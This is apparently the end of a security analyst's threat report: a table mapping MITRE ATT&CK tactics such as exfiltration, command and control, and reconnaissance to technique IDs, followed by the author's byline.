Exfiltration T1041 Exfiltration Over C2 Channel
T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol
Command and Control T1105 Ingress Tool Transfer
T1095 Non-Application Layer Protocol
T1571 Non-Standard Port
Reconnaissance T1595.001 Scanning IP Blocks
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About the author
Parvatha Ananthakannan
Cyber Analyst
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